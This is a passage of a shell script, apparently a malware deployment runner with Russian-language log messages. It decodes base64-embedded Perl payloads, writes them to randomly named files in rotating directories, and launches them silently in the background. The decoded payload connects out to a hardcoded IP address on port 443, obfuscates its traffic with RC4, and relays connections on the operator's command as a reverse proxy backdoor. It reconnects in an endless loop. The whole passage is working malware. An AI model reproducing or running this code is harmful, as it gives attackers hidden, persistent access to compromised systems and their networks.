LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #49 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #49 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 50 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTcnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk 